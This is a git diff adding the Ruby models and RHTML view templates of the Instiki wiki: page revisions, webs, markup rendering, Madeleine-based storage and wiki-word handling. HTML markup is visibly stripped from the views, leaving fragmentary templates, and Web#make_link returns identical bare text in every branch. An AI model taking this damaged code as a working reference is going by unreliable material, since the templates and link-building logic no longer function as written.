+      @wiki_words_cache = wiki_chunks.map { |c| ( c.escaped_text ? nil : c.page_name ) }.compact.uniq
+    end
+    @wiki_words_cache
+  end  
+
+  # Returns an array of all the WikiWords present in the content of this revision.
+  # that already exists as a page in the web.
+  def existing_pages
+    wiki_words.select { |wiki_word| page.web.pages[wiki_word] }
+  end
+
+  # Returns an array of all the WikiWords present in the content of this revision
+  # that *doesn't* already exists as a page in the web.
+  def unexisting_pages
+    wiki_words - existing_pages
+  end  
+
+	# Explicit check for new type of display cache with find_chunks method.
+	# Ensures new version works with older snapshots.
+  def display_content
+    unless @display_cache && @display_cache.respond_to?(:find_chunks)
+      @display_cache = WikiContent.new(self)
+    end
+    @display_cache
+  end
+
+  def display_diff
+    previous_revision ? HTMLDiff.diff(previous_revision.display_content, display_content) : display_content
+  end
+
+  def clear_display_cache
+    @display_cache = @published_cache = @wiki_words_cache = nil
+  end
+  
+  def display_published
+    @published_cache = WikiContent.new(self, {:mode => :publish}) if @published_cache.nil?
+    @published_cache
+  end
+
+  def display_content_for_export
+    WikiContent.new(self, {:mode => :export} )
+  end  
+end
\ No newline at end of file
diff --git a/app/models/web.rb b/app/models/web.rb
new file mode 100755
index 00000000..d4d249df
--- /dev/null
+++ b/app/models/web.rb
@@ -0,0 +1,89 @@
+require "cgi"
+require "page"
+require "page_set"
+require "wiki_words"
+require "zip/zip"
+
+class Web
+  attr_accessor :pages, :name, :address, :password
+  attr_accessor :markup, :color, :safe_mode, :additional_style, :published, :brackets_only, :count_pages
+  
+  def initialize(name, address, password = nil)
+    @name, @address, @password, @safe_mode = name, address, password, false
+    @pages = {}
+  end
+
+  def add_page(page)
+    @pages[page.name] = page
+  end
+
+  def remove_pages(pages_to_be_removed)
+    pages.delete_if { |page_name, page| pages_to_be_removed.include?(page) }
+  end
+  
+  def select(&condition)
+    PageSet.new(self, @pages.values, condition)
+  end
+  
+  def revised_on
+    select.most_recent_revision
+  end
+    
+  def authors 
+    select.authors 
+  end
+
+  def categories
+    select.map { |page| page.categories }.flatten.uniq.sort
+  end
+
+  # Create a link for the given page name and link text based
+  # on the render mode in options and whether the page exists
+  # in the this web.
+  def make_link(name, text = nil, options = {})
+    page = pages[name]
+    text = text || WikiWords.separate(name)
+    link = CGI.escape(name)
+    
+    case options[:mode]
+      when :export
+        if page then "#{text}"
+        else "#{text}" end
+      when :publish
+        if page then "#{text}"
+        else "#{text}" end
+      else
+        if page then "#{text}"
+        else "#{text}?" end
+    end
+  end
+
+
+  # Clears the display cache for all the pages with references to 
+  def refresh_pages_with_references(page_name)
+    select.pages_that_reference(page_name).each { |page| 
+      page.revisions.each { |revision| revision.clear_display_cache }
+    }
+  end
+  
+  def refresh_revisions
+    select.each { |page| page.revisions.each { |revision| revision.clear_display_cache } }
+  end
+  
+  # Default values
+  def markup()        @markup || :textile end
+  def color()         @color  || "008B26" end
+  def brackets_only() @brackets_only || false end
+  def count_pages()   @count_pages || false end
+
+  private
+    # Returns an array of all the wiki words in any current revision
+    def wiki_words
+      pages.values.inject([]) { |wiki_words, page| wiki_words << page.wiki_words }.flatten.uniq
+    end
+    
+    # Returns an array of all the page names on this web
+    def page_names
+      pages.keys
+    end
+end
\ No newline at end of file
diff --git a/app/models/wiki_content.rb b/app/models/wiki_content.rb
new file mode 100755
index 00000000..846a28b5
--- /dev/null
+++ b/app/models/wiki_content.rb
@@ -0,0 +1,105 @@
+require 'cgi'
+require 'chunks/engines'
+require 'chunks/category'
+require 'chunks/include'
+require 'chunks/wiki'
+require 'chunks/literal'
+require 'chunks/uri'
+require 'chunks/nowiki'
+
+# Wiki content is just a string that can process itself with a chain of
+# actions. The actions can modify wiki content so that certain parts of
+# it are protected from being rendered by later actions.
+#
+# When wiki content is rendered, it can be interrogated to find out 
+# which chunks were rendered. This means things like categories, wiki 
+# links, can be determined.
+#
+# Exactly how wiki content is rendered is determined by a number of 
+# settings that are optionally passed in to a constructor. The current
+# options are:
+#  * :engine 
+#    => The structural markup engine to use (Textile, Markdown, RDoc)
+#  * :engine_opts
+#    => A list of options to pass to the markup engines (safe modes, etc)
+#  * :pre_engine_actions
+#    => A list of render actions or chunks to be processed before the
+#       markup engine is applied. By default this is:    
+#       Category, Include, URIChunk, WikiChunk::Link, WikiChunk::Word        
+#  * :post_engine_actions
+#    => A list of render actions or chunks to apply after the markup 
+#       engine. By default these are:    
+#       Literal::Pre, Literal::Tags
+#  * :mode
+#    => How should the content be rendered? For normal display (:display), 
+#       publishing (:publish) or export (:export)?
+#
+# AUTHOR: Mark Reid 
+# CREATED: 15th May 2004
+# UPDATED: 22nd May 2004
+class WikiContent < String
+
+  PRE_ENGINE_ACTIONS  = [ NoWiki, Category, Include, URIChunk, WikiChunk::Link, WikiChunk::Word ] 
+  POST_ENGINE_ACTIONS = [ Literal::Pre, Literal::Tags ]
+  DEFAULT_OPTS = {
+    :pre_engine_actions  => PRE_ENGINE_ACTIONS,
+    :post_engine_actions => POST_ENGINE_ACTIONS,
+    :engine              => Engines::Textile,
+    :engine_opts         => [],
+    :mode                => [:display]
+  }
+
+  attr_reader :web, :options, :rendered
+
+  # Create a new wiki content string from the given one.
+  # The options are explained at the top of this file.
+  def initialize(revision, options = {})
+    @revision = revision
+    @web = @revision.page.web
+
+    # Deep copy of DEFAULT_OPTS to ensure that changes to PRE/POST_ENGINE_ACTIONS stay local
+    @options = Marshal.load(Marshal.dump(DEFAULT_OPTS)).update(options)
+    @options[:engine] = Engines::MAP[@web.markup] || Engines::Textile
+    @options[:engine_opts] = (@web.safe_mode ? [:filter_html, :filter_styles] : [])
+
+    @options[:pre_engine_actions].delete(WikiChunk::Word) if @web.brackets_only
+
+    super(@revision.content)
+
+    begin
+      render!(@options[:pre_engine_actions] + [@options[:engine]] + @options[:post_engine_actions])
+    rescue => e
+      @rendered = e.message
+    end
+  end
+
+  # Call @web.page_link using current options.
+  def page_link(name, text) 
+    @web.make_link(name, text, @options) 
+  end
+
+  # Find all the chunks of the given types
+  def find_chunks(chunk_type)
+    rendered.select { |chunk| chunk.kind_of?(chunk_type) }
+  end
+
+  # Render this content using the specified actions.
+  def render!(chunk_types)
+    @chunks = []
+    chunk_types.each { |chunk_type| self.apply_type!(chunk_type) }
+    
+    @rendered = @chunks.map { |chunk| chunk.unmask(self) }.compact
+    (@chunks - @rendered).each { |chunk| chunk.revert(self) }
+  end
+  
+  # Find all the chunks of the given type in this content
+  # Each time the type's pattern is matched, create a new
+  # chunk for it, and replace the occurance of the chunk
+  # in this content with its mask.
+  def apply_type!(chunk_type)
+    self.gsub!( chunk_type.pattern ) do |match|	
+      @chunks << chunk_type.new($~)
+      @chunks.last.mask(self)
+    end
+  end
+end
\ No newline at end of file
diff --git a/app/models/wiki_service.rb b/app/models/wiki_service.rb
new file mode 100755
index 00000000..fc4ee56e
--- /dev/null
+++ b/app/models/wiki_service.rb
@@ -0,0 +1,168 @@
+require 'open-uri'
+require 'yaml'
+require 'madeleine'
+require 'madeleine/automatic'
+require 'madeleine/zmarshal'
+
+require 'web'
+require 'page'
+require 'author'
+
+module AbstractWikiService
+
+  attr_reader :webs, :system
+
+  def authenticate(password)
+    password == (@system[:password] || 'instiki')
+  end
+
+  def create_web(name, address, password = nil)
+    @webs[address] = Web.new(name, address, password) unless @webs[address]
+  end
+
+  def init_wiki_service
+    @webs = {}
+    @system = {}
+  end
+  
+  def read_page(web_address, page_name)
+    ApplicationController.logger.debug "Reading page '#{page_name}' from web '#{web_address}'"
+    web = @webs[web_address]
+    if web.nil?
+      ApplicationController.logger.debug "Web '#{web_address}' not found"
+      return nil
+    else
+      page = web.pages[page_name]
+      ApplicationController.logger.debug "Page '#{page_name}' #{page.nil? ? 'not' : ''} found"
+      return page
+    end
+  end
+
+  def remove_orphaned_pages(web_address)
+    @webs[web_address].remove_pages(@webs[web_address].select.orphaned_pages)
+  end
+  
+  def revise_page(web_address, page_name, content, revised_on, author)
+    page = read_page(web_address, page_name)
+    page.revise(content, revised_on, author)
+    page
+  end
+
+  def rollback_page(web_address, page_name, revision_number, created_at, author_id = nil)
+    page = read_page(web_address, page_name)
+    page.rollback(revision_number, created_at, author_id)
+    page
+  end
+  
+  def setup(password, web_name, web_address)
+    @system[:password] = password
+    create_web(web_name, web_address)
+  end
+
+  def setup?
+    not (@webs.empty?)
+  end
+
+  def update_web(old_address, new_address, name, markup, color, additional_style, safe_mode = false, 
+      password = nil, published = false, brackets_only = false, count_pages = false)
+    if old_address != new_address
+      @webs[new_address] = @webs[old_address]
+      @webs.delete(old_address)
+      @webs[new_address].address = new_address
+    end
+    
+    web = @webs[new_address]
+    web.refresh_revisions if settings_changed?(web, markup, safe_mode, brackets_only)
+    
+    web.name, web.markup, web.color, web.additional_style, web.safe_mode = 
+      name, markup, color, additional_style, safe_mode
+      
+    web.password, web.published, web.brackets_only, web.count_pages =
+      password, published, brackets_only, count_pages
+  end
+
+  def write_page(web_address, page_name, content, written_on, author)
+    page = Page.new(@webs[web_address], page_name, content, written_on, author)
+    @webs[web_address].add_page(page)
+    page
+  end
+  
+  private
+    def settings_changed?(web, markup, safe_mode, brackets_only)
+      web.markup != markup || 
+      web.safe_mode != safe_mode || 
+      web.brackets_only != brackets_only
+    end
+end
+
+class WikiService
+
+  include AbstractWikiService
+  include Madeleine::Automatic::Interceptor
+
+  @@storage_path = self.name.downcase + '_storage'
+
+  class << self
+    def storage_path
+      @@storage_path
+    end
+  
+    def storage_path=(storage_path)
+      @@storage_path = storage_path
+    end
+
+    def clean_storage
+      MadeleineServer.clean_storage(self)
+    end
+
+    def instance
+      @system ||= MadeleineServer.new(self).system
+    end
+  end
+
+  def initialize
+    init_wiki_service
+  end
+
+end
+
+class MadeleineServer
+  SNAPSHOT_INTERVAL   = 60 * 60 * 24 # Each day
+  AUTOMATIC_SNAPSHOTS = true
+
+  # Clears all the command_log and snapshot files located in the storage directory, so the
+  # database is essentially dropped and recreated as blank
+  def self.clean_storage(service)
+    begin 
+      Dir.foreach(service.storage_path) do |file|
+        if file =~ /(command_log|snapshot)$/
+          File.delete(File.join(service.storage_path, file))
+        end
+      end
+    rescue
+      Dir.mkdir(service.storage_path)
+    end
+  end
+
+  def initialize(service)
+    @server = Madeleine::Automatic::AutomaticSnapshotMadeleine.new(service.storage_path, 
+      Madeleine::ZMarshal.new) {
+      service.new
+    }
+    start_snapshot_thread if AUTOMATIC_SNAPSHOTS
+  end
+
+  def system
+    @server.system
+  end
+
+  def start_snapshot_thread
+    Thread.new(@server) {
+      while true
+        sleep(SNAPSHOT_INTERVAL)
+        @server.take_snapshot
+      end
+    }
+  end
+  
+end
diff --git a/app/models/wiki_words.rb b/app/models/wiki_words.rb
new file mode 100755
index 00000000..5cb60ac8
--- /dev/null
+++ b/app/models/wiki_words.rb
@@ -0,0 +1,25 @@
+# Contains all the methods for finding and replacing wiki words
+module WikiWords
+  # In order of appearance: Latin, greek, cyrillian, armenian
+  I18N_HIGHER_CASE_LETTERS =
+    "ÀÁÂÃÄÅĀĄĂÆÇĆČĈĊĎĐÈÉÊËĒĘĚĔĖĜĞĠĢĤĦÌÍÎÏĪĨĬĮİIJĴĶŁĽĹĻĿÑŃŇŅŊÒÓÔÕÖØŌŐŎŒŔŘŖŚŠŞŜȘŤŢŦȚÙÚÛÜŪŮŰŬŨŲŴÝŶŸŹŽŻ" + 
+    "ΑΒΓΔΕΖΗΘΙΚΛΜΝΞΟΠΡΣΤΥΦΧΨΩ" + 
+    "ΆΈΉΊΌΎΏѠѢѤѦѨѪѬѮѰѲѴѶѸѺѼѾҀҊҌҎҐҒҔҖҘҚҜҞҠҢҤҦҨҪҬҮҰҲҴҶҸҺҼҾӁӃӅӇӉӋӍӐӒӔӖӘӚӜӞӠӢӤӦӨӪӬӮӰӲӴӸЖ" +
+    "ԱԲԳԴԵԶԷԸԹԺԻԼԽԾԿՀՁՂՃՄՅՆՇՈՉՊՋՌՍՏՐՑՒՓՔՕՖ"
+
+  I18N_LOWER_CASE_LETTERS =
+    "àáâãäåāąăæçćčĉċďđèéêëēęěĕėƒĝğġģĥħìíîïīĩĭįıijĵķĸłľĺļŀñńňņʼnŋòóôõöøōőŏœŕřŗśšşŝșťţŧțùúûüūůűŭũųŵýÿŷžżźÞþßſÐð" +
+    "άέήίΰαβγδεζηθικλμνξοπρςστυφχψωϊϋόύώΐ" +
+    "абвгдежзийклмнопрстуфхцчшщъыьэюяѐёђѓєѕіїјљћќѝўџѡѣѥѧѩѫѭѯѱѳѵѷѹѻѽѿҁҋҍҏґғҕҗҙқҝҟҡңҥҧҩҫҭүұҳҵҷҹһҽҿӀӂӄӆӈӊӌӎӑӓӕӗәӛӝӟӡӣӥӧөӫӭӯӱӳӵӹ" +
+    "աբգդեզէըթժիլխծկհձղճմյնշոչպջռսվտրցւփքօֆև"
+
+  WIKI_WORD_PATTERN = '[A-Z' + I18N_HIGHER_CASE_LETTERS + '][a-z' + I18N_LOWER_CASE_LETTERS + ']+[A-Z' + I18N_HIGHER_CASE_LETTERS + ']\w+'
+
+  def self.separate(wiki_word, ignore_separation = false)
+    if ignore_separation
+      wiki_word
+    else
+      wiki_word.gsub(/([a-z#{I18N_LOWER_CASE_LETTERS}])([A-Z#{I18N_HIGHER_CASE_LETTERS}])/u, '\1 \2')
+    end
+  end
+end
\ No newline at end of file
diff --git a/app/views/bottom.rhtml b/app/views/bottom.rhtml
new file mode 100755
index 00000000..01ab2b28
--- /dev/null
+++ b/app/views/bottom.rhtml
@@ -0,0 +1,4 @@
+  
+
+
+
\ No newline at end of file
diff --git a/app/views/markdown_help.rhtml b/app/views/markdown_help.rhtml
new file mode 100755
index 00000000..9f1b6981
--- /dev/null
+++ b/app/views/markdown_help.rhtml
@@ -0,0 +1,16 @@
+
+

Markdown formatting tips (advanced)

+ + + + + + + + + + +
_your text_your text
**your text**your text
`my code`my code
* Bulleted list
* Second item
• Bulleted list
• Second item
1. Numbered list
1. Second item
1. Numbered list
2. Second item
[link name](URL)link name
***Horizontal ruler
<http://url>
<email@add.com>
Auto-linked
![Alt text](URL)Image
+ + <%= render 'wiki_words_help' %> +
\ No newline at end of file diff --git a/app/views/navigation.rhtml b/app/views/navigation.rhtml new file mode 100755 index 00000000..55bb16b1 --- /dev/null +++ b/app/views/navigation.rhtml @@ -0,0 +1,25 @@ +<% +def list_item(title, url, description, accesskey = nil) + if @title == title + "#{title}" + else + "#{title}" + end +end +%> + + diff --git a/app/views/rdoc_help.rhtml b/app/views/rdoc_help.rhtml new file mode 100755 index 00000000..1f8fd81c --- /dev/null +++ b/app/views/rdoc_help.rhtml @@ -0,0 +1,16 @@ +
+

RDoc formatting tips (advanced)

+ + + + + + + + + + +
_your text_your text
*your text*your text
* Bulleted list
* Second item
• Bulleted list
• Second item
1. Numbered list
2. Second item
1. Numbered list
2. Second item
+my_code+my_code
---Horizontal ruler
[[URL linkname]]linkname
http://url
mailto:e@add.com
Auto-linked
imageURLImage
+ + <%= render 'wiki_words_help' %> +
\ No newline at end of file diff --git a/app/views/textile_help.rhtml b/app/views/textile_help.rhtml new file mode 100755 index 00000000..94c2677a --- /dev/null +++ b/app/views/textile_help.rhtml @@ -0,0 +1,28 @@ +
+

Textile formatting tips (advanced)

+ + + + + + + + + + +
_your text_your text
*your text*your text
%{color:red}hello%hello
* Bulleted list
* Second item
• Bulleted list
• Second item
# Numbered list
# Second item
1. Numbered list
2. Second item
"linkname":URLlinkname
|a|table|row|
|b|table|row|
Table
http://url
email@address.com
Auto-linked
!imageURL!Image
+ + <%= render 'wiki_words_help' %> +
+ + \ No newline at end of file diff --git a/app/views/top.rhtml b/app/views/top.rhtml new file mode 100755 index 00000000..bb216eb8 --- /dev/null +++ b/app/views/top.rhtml @@ -0,0 +1,49 @@ + + + + + <% if @page and (@page.name == 'HomePage') and (%w( show published print ).include?(@action_name)) %> + <%= @web.name %> + <% elsif @web %> + <%= @title %> in <%= @web.name %> + <% else %> + <%= @title %> + <% end %> + + + + + + + + + + + +
+
+ +

+ <% if @page and (@page.name == 'HomePage') and %w( show published print ).include?(@action_name) %> + <%= @web.name %> + <% elsif @web %> + <%= @web.name %>
+ <%= @title %> + <% else %> + <%= @title %> + <% end %> +

+ + <%= render 'navigation' unless @web.nil? || @hide_navigation %> diff --git a/app/views/wiki/authors.rhtml b/app/views/wiki/authors.rhtml new file mode 100755 index 00000000..e4d87eef --- /dev/null +++ b/app/views/wiki/authors.rhtml @@ -0,0 +1,13 @@ +<% @title = 'Authors' %><%= render 'top' %> + +
    + <% for author in @authors %> +
  • + <%= @web.make_link(author) %> + co- or authored: + <%= @web.select.pages_authored_by(author).collect { |page| page.link }.join ', ' %> +
  • + <% end %> +
+ +<%= render 'bottom' %> diff --git a/app/views/wiki/edit.rhtml b/app/views/wiki/edit.rhtml new file mode 100755 index 00000000..92e78053 --- /dev/null +++ b/app/views/wiki/edit.rhtml @@ -0,0 +1,31 @@ +<% + @title = "Editing #{@page.name}" + @content_width = 720 + @hide_navigation = true +%><%= render 'top' %> + +<%= "

Please correct the error that caused this error in rendering:
#{@params["msg"]}

" if @params["msg"] %> + +<%= render("#{@web.markup}_help") if @web %> + +
+

+ +

+

+ as + + | Cancel (unlocks page) +

+
+ + + +<%= render 'bottom' %> \ No newline at end of file diff --git a/app/views/wiki/edit_web.rhtml b/app/views/wiki/edit_web.rhtml new file mode 100755 index 00000000..f1903234 --- /dev/null +++ b/app/views/wiki/edit_web.rhtml @@ -0,0 +1,138 @@ +<% @title = "Edit Web" %><%= render 'top' %> + +
+

Name and address

+
+ The name of the web is included in the title on all pages. The address is the base path that all pages within the web live beneath. + Ex: the address "rails" gives URLs like /rails/show/HomePage. +
+ +
+ Name:    + Address: + (Letters & digits only) +
+ +

Specialize

+
+ Turning safe mode on will strip HTML tags and stylesheet options from the content of all pages. + Turning on "brackets only" will require all wiki words to be as [[wiki word]] and WikiWord won't work. + Additions to the stylesheet take precedence over the existing styles. Hint: View source on a page you want to + style to find ID names on individual tags. See styles >> +
+
+ Markup: + + +    + + Color: + + +    + + + + > Safe mode + +    + + > Brackets only + +    + + > Count pages + + + + +
+ +

Password protection for this web (<%= @web.name %>)

+
+ This is the password that visitors need to view and edit this web. Setting the password to nothing will remove the password protection. +
+
+ Password:    + Verify: +
+ +

Publish read-only version of this web (<%= @web.name %>)

+
+ You can turn on a read-only version of this web that's accessible even when the regular web is password protected. + The published version is accessible through URLs like /wiki/published/HomePage. +
+
+ > Publish this web +
+ +

+ + Enter system password + + and + +

+ ...or forget changes and create a new web +
+

+ +
+ +
+

Other administrative tasks

+ +
+ +

+ + Clean up by entering system password + + and + + +

+ + + +<%= render 'bottom' %> \ No newline at end of file diff --git a/app/views/wiki/export.rhtml b/app/views/wiki/export.rhtml new file mode 100755 index 00000000..5712a987 --- /dev/null +++ b/app/views/wiki/export.rhtml @@ -0,0 +1,14 @@ +<% @title = "Export" %><%= render 'top' %> + +

You can export all the pages in this web as a zip file in either HTML (with working links and all) or the pure markup (to import in another wiki).

+ + + +<%= render 'bottom' %> diff --git a/app/views/wiki/feeds.rhtml b/app/views/wiki/feeds.rhtml new file mode 100755 index 00000000..cc0169bb --- /dev/null +++ b/app/views/wiki/feeds.rhtml @@ -0,0 +1,10 @@ +<% @title = "Feeds" %><%= render 'top' %> + +

You can subscribe to this wiki by RSS and get either just the headlines of the pages that change or the entire page.

+ + + +<%= render 'bottom' %> diff --git a/app/views/wiki/list.rhtml b/app/views/wiki/list.rhtml new file mode 100755 index 00000000..3f416229 --- /dev/null +++ b/app/views/wiki/list.rhtml @@ -0,0 +1,59 @@ +<% @title = "All Pages" %><%= render 'top' %> + +<% unless @categories.empty? %> +
+ Categories: + [Any] + <%= @category_links.join(', ') %> +
+<% end %> + +
+<% unless @pages_that_are_orphaned.empty? && @page_names_that_are_wanted.empty? %> +

+ All Pages +
All pages in <%= @set_name %> listed alphabetically +

+<% end %> + + + +<% if @web.count_pages %> + <% total_chars = @pages_in_category.characters %> +

All content: <%= total_chars %> chars / <%= sprintf("%-.1f", (total_chars / 2275 )) %> pages

+<% end %> +
+ +
+<% unless @page_names_that_are_wanted.empty? %> +

+ Wanted Pages +
Unexisting pages that other pages in <%= @set_name %> reference +

+ + +<% end %> + +<% unless @pages_that_are_orphaned.empty? %> +

+ Orphaned Pages +
Pages in <%= @set_name %> that no other page reference +

+ + +<% end %> +
+ +<%= render 'bottom' %> diff --git a/app/views/wiki/locked.rhtml b/app/views/wiki/locked.rhtml new file mode 100755 index 00000000..a12ade5f --- /dev/null +++ b/app/views/wiki/locked.rhtml @@ -0,0 +1,14 @@ +<% @title = "#{@page.plain_name} is locked" %><%= render 'top' %> + +<% if @page.lock_duration(Time.now) == 0 %> +

<%= @page.locked_by_link %> just started editing this page.

+<% else %> +

<%= @page.locked_by_link %> has been editing this page for <%= @page.lock_duration(Time.now) %> minutes.

+<% end %> + +

+ Edit the page anyway | + Cancel +

+ +<%= render 'bottom' %> \ No newline at end of file diff --git a/app/views/wiki/login.rhtml b/app/views/wiki/login.rhtml new file mode 100755 index 00000000..24e94df9 --- /dev/null +++ b/app/views/wiki/login.rhtml @@ -0,0 +1,11 @@ +<% @title = "#{@web_name} Login" %><% @hide_navigation = true %><%= render 'top' %> + + +

+ Password
+ +

+
+ + +<%= render 'bottom' %> \ No newline at end of file diff --git a/app/views/wiki/new.rhtml b/app/views/wiki/new.rhtml new file mode 100755 index 00000000..5123ace3 --- /dev/null +++ b/app/views/wiki/new.rhtml @@ -0,0 +1,27 @@ +<% + @title = "Creating #{WikiWords.separate(CGI.unescape(@page_name))}" + @content_width = 720 + @hide_navigation = true +%><%= render 'top' %> + +<%= render("#{@web.markup}_help") if @web %> + +
+

+ +

+

+ as + +

+
+ + + +<%= render 'bottom' %> \ No newline at end of file diff --git a/app/views/wiki/new_system.rhtml b/app/views/wiki/new_system.rhtml new file mode 100755 index 00000000..9113e5f1 --- /dev/null +++ b/app/views/wiki/new_system.rhtml @@ -0,0 +1,78 @@ +<% @title = "Instiki Setup"; @content_width = 500 %><%= render 'top' %> + +

+ Congratulations on succesfully installing and starting Instiki. + Since this is the first time Instiki has been run on this port, you'll need to do a brief one-time setup. +

+ +
+
    +
  1. + +

    Name and address for your first web

    +
    + The name of the web is included in the title on all pages. The address is the base path that all pages within the web live beneath. Ex: the address "rails" gives URLs like /rails/show/HomePage. The address can only consist of letters & digits. +
    +
    + Name:    + Address: +
    +
  2. + +
  3. +

    Password for creating and changing webs

    +
    + Administrative access allows you to make new webs and change existing ones.
    + Everyone with this password will be able to do this, so pick it carefully. +
    +
    + Password:    + Verify: +
    +
  4. +
+ +

+ +

+
+ + + +<%= render 'bottom' %> \ No newline at end of file diff --git a/app/views/wiki/new_web.rhtml b/app/views/wiki/new_web.rhtml new file mode 100755 index 00000000..d5332269 --- /dev/null +++ b/app/views/wiki/new_web.rhtml @@ -0,0 +1,64 @@ +<% @title = "New Wiki Web"; @content_width = 500 %><%= render 'top' %> + +

+ Each web serves as an isolated name space for wiki pages, so different subjects or projects can write about different MuppetShows. +

+ +
+
    +
  1. +

    Name and address for your new web

    +
    + The name of the web is included in the title on all pages. The address is the base path that all pages within the web live beneath. Ex: the address "rails" gives URLs like /rails/show/HomePage. The address can only consist of letters & digits. +
    +
    + Name:    + Address: +
    +
  2. +
+ + +

+ + Enter system password + + and + + +

+ +
+ + + +<%= render 'bottom' %> \ No newline at end of file diff --git a/app/views/wiki/page.rhtml b/app/views/wiki/page.rhtml new file mode 100755 index 00000000..8d506bd8 --- /dev/null +++ b/app/views/wiki/page.rhtml @@ -0,0 +1,81 @@ +<% @title = @page.plain_name %> +<%= render 'top' %> + +
+ <%= @page.display_content %> +
+ + + + + + + + + +<%= render 'bottom' %> diff --git a/app/views/wiki/print.rhtml b/app/views/wiki/print.rhtml new file mode 100755 index 00000000..c358c158 --- /dev/null +++ b/app/views/wiki/print.rhtml @@ -0,0 +1,16 @@ +<% + @title = @page.plain_name + @hide_navigation = true + @style_additions = ".newWikiWord { background-color: white; font-style: italic; }" + @inline_style = true +%><%= render 'top' %> + +<%= @page.display_content_for_export %> + + + +<%= render 'bottom' %> \ No newline at end of file diff --git a/app/views/wiki/published.rhtml b/app/views/wiki/published.rhtml new file mode 100755 index 00000000..191ffdae --- /dev/null +++ b/app/views/wiki/published.rhtml @@ -0,0 +1,10 @@ +<% + @title = @page.plain_name + @hide_navigation = false + @style_additions = ".newWikiWord { background-color: white; font-style: italic; }" + @inline_style = true +%><%= render 'top' %> + +<%= @page.display_published %> + +<%= render 'bottom' %> diff --git a/app/views/wiki/recently_revised.rhtml b/app/views/wiki/recently_revised.rhtml new file mode 100755 index 00000000..5a387c7c --- /dev/null +++ b/app/views/wiki/recently_revised.rhtml @@ -0,0 +1,30 @@ +<% @title = "Recently Revised" %><%= render 'top' %> + +<% unless @categories.empty? %> +
+ Categories: + [Any] + <%= @category_links.join(', ') %> +
+<% end %> + +<% revision_date = Date.new(2100) %> +
    +<% for page in @pages_by_revision %> + <% if page.revised_on < revision_date %> +
<%= page.pretty_revised_on %>
    + <% end %> + +
  • + <%= page.plain_name %> + +
  • + + <% revision_date = page.revised_on %> +<% end %> + +<%= render 'bottom' %> diff --git a/app/views/wiki/revision.rhtml b/app/views/wiki/revision.rhtml new file mode 100755 index 00000000..52b2924c --- /dev/null +++ b/app/views/wiki/revision.rhtml @@ -0,0 +1,81 @@ +<% @title = "#{@page.plain_name} (Rev ##{@revision.number})" %><%= render 'top' %> + +
    + <%= @revision.display_content %> +
    + + + + + + + + + + +<%= render 'bottom' %> \ No newline at end of file diff --git a/app/views/wiki/rollback.rhtml b/app/views/wiki/rollback.rhtml new file mode 100755 index 00000000..7581f70e --- /dev/null +++ b/app/views/wiki/rollback.rhtml @@ -0,0 +1,31 @@ +<% + @title = "Rollback to #{@page.plain_name} Rev ##{@revision.number}" + @content_width = 720 + @hide_navigation = true +%><%= render 'top' %> + +<%= "

    Please correct the error that caused this error in rendering:
    #{@params["msg"]}

    " if @params["msg"] %> + +
    +

    + +

    +

    + as + + | Cancel (unlocks page) +

    +
    + +<%= render("#{@web.markup}_help") if @web %> + + + +<%= render 'bottom' %> diff --git a/app/views/wiki/rss_feed.rhtml b/app/views/wiki/rss_feed.rhtml new file mode 100755 index 00000000..1c086e6b --- /dev/null +++ b/app/views/wiki/rss_feed.rhtml @@ -0,0 +1,22 @@ + + + + <%= @web.name %> + <%= url_for :only_path => false, :web => @web_name, :action => 'show', :id => 'HomePage' %> + An Instiki wiki + en-us + 40 + <% for page in @pages_by_revision %> + + <%= page.plain_name %> + <% unless @hide_description %> + <%= CGI.escapeHTML(page.display_content) %> + <% end %> + <%= page.created_at.strftime "%a, %e %b %Y %H:%M:%S %Z" %> + <%= url_for :only_path => false, :web => @web_name, :action => 'show', :id => page.name %> + <%= url_for :only_path => false, :web => @web_name, :action => 'show', :id => page.name %> + <%= WikiWords.separate(page.author) %> + + <% end %> + + diff --git a/app/views/wiki/search.rhtml b/app/views/wiki/search.rhtml new file mode 100755 index 00000000..c3704fbf --- /dev/null +++ b/app/views/wiki/search.rhtml @@ -0,0 +1,15 @@ +<% @title = @results.length > 0 ? "#{@results.length} pages contains \"#{@params["query"]}\"" : "No pages contains \"#{@query}\"" %><%= render 'top' %> + +<% if @results.length > 0 %> + +<% else %> +

    Perhaps you should try expanding your query. Remember that Instiki searches for entire phrases, so if you search for "all that jazz" it will not match pages that contain these words in separation—only as a sentence fragment.

    + +

    If you're a high-tech computer wizard, you might even want try constructing a regular expression. That's actually what Instiki uses, so go right ahead and flex your "[a-z]*Leet?RegExpSkill(s|z)"

    +<% end %> + +<%= render 'bottom' %> diff --git a/app/views/wiki/tex.rhtml b/app/views/wiki/tex.rhtml new file mode 100755 index 00000000..4c128a68 --- /dev/null +++ b/app/views/wiki/tex.rhtml @@ -0,0 +1,23 @@ +\documentclass[12pt,titlepage]{article} + +\usepackage[danish]{babel} %danske tekster +\usepackage[OT1]{fontenc} %rigtige danske bogstaver... +\usepackage{a4} +\usepackage{graphicx} +\usepackage{ucs} +\usepackage[utf8]{inputenc} +\input epsf + +%------------------------------------------------------------------- + +\begin{document} + +\sloppy + +%------------------------------------------------------------------- + +\section*{<%= @page.name %>} + +<%= @tex_content %> + +\end{document} \ No newline at end of file diff --git a/app/views/wiki/tex_web.rhtml b/app/views/wiki/tex_web.rhtml new file mode 100755 index 00000000..9fd8c5a3 --- /dev/null +++ b/app/views/wiki/tex_web.rhtml @@ -0,0 +1,35 @@ +\documentclass[12pt,titlepage]{article} + +\usepackage{fancyhdr} +\pagestyle{fancy} + +\fancyhead[LE,RO]{} +\fancyhead[LO,RE]{\nouppercase{\bfseries \leftmark}} +\fancyfoot[C]{\thepage} + +\usepackage[danish]{babel} %danske tekster +\usepackage{a4} +\usepackage{graphicx} +\usepackage{ucs} +\usepackage[utf8]{inputenc} +\input epsf + + +%------------------------------------------------------------------- + +\title{<%= @web_name %>} + +\begin{document} + +\maketitle + +\tableofcontents +\pagebreak + +\sloppy + +%------------------------------------------------------------------- + +<%= @tex_content %> + +\end{document} \ No newline at end of file diff --git a/app/views/wiki/web_list.rhtml b/app/views/wiki/web_list.rhtml new file mode 100755 index 00000000..d05f25ca --- /dev/null +++ b/app/views/wiki/web_list.rhtml @@ -0,0 +1,20 @@ +<% @title = "Wiki webs" %><%= render 'top' %> + +
      +<% for web in @webs %> +
    • + <% if web.published %> + <%= web.make_link 'HomePage', web.name, :mode => :publish %> (read-only) / + <%= web.make_link 'HomePage', 'editable version', :mode => :edit %> (requires login) + <% else %> + <%= web.make_link 'HomePage', nil, :mode => :edit %> + <% end %> + + +
    • +<% end %> +
